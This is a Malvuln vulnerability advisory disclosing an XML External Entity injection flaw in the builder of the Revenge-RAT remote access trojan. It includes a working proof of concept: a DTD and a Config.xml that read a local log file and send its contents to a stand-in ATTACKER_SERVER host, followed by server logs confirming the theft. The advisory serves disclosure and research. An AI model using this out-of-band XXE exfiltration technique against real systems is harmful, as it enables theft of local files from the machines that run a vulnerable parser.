Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/531d8b4ac8f7eb827d62424169321b2b.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: BuilderRevengeRAT - (Revenge-RAT v0.3)
Vulnerability: XML External Entity Injection
Description: The malware listens on TCP port 333. There is a Config.xml file used by the RAT builder to specify port, notification, webcam etc. The XML parser used by the RAT is vulnerable to XML Injection, this can allow local file exfiltration to a remote attacker server and or Geo location disclosure of the RAT builder.
Family: Revenge
Type: PE32
MD5: 531d8b4ac8f7eb827d62424169321b2b
Vuln ID: MVID-2022-0521
Disclosure: 03/17/2022

Exploit/PoC:
1) python -m http.server (Port 8000)

2) "payload.dtd"
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER_SERVER:8000?%file;'>">
%all;

3) "Config.xml"

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE MALVULN [ 
<!ENTITY % file SYSTEM "C:\BuilderRevengeRAT\Revenge-RAT v0.3\Database\2022-03-16\3-57-36 PM.log">
<!ENTITY % dtd SYSTEM "http://ATTACKER_SERVER:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

4) Run the "Revenge-RAT v0.3.exe" malware

Result...

Serving HTTP on 0.0.0.0 port 8000 ...
DESKTOP-2C3IQHO - - [16/Mar/2022 16:12:40] "GET /payload.dtd HTTP/1.1" 200 -
DESKTOP-2C3IQHO - - [16/Mar/2022 16:12:40] "GET /?[%203:57:37%20PM%20]%20Revenge%20Started%20..%7C...%7CUnknown.png%7C[%203:57:45%20PM%20]%20Listening%20:%20333%7C...%7CUnknown.png%7C HTTP/1.1" 301 -
DESKTOP-2C3IQHO - - [16/Mar/2022 16:12:40] "GET /?[%203:57:37%20PM%20]%20Revenge%20Started%20..%7C...%7CUnknown.png%7C[%203:57:45%20PM%20]%20Listening%20:%20333%7C...%7CUnknown.png%7C/ HTTP/1.1" 200 -
DESKTOP-2C3IQHO - - [16/Mar/2022 16:15:14] "GET /payload.dtd HTTP/1.1" 200 -


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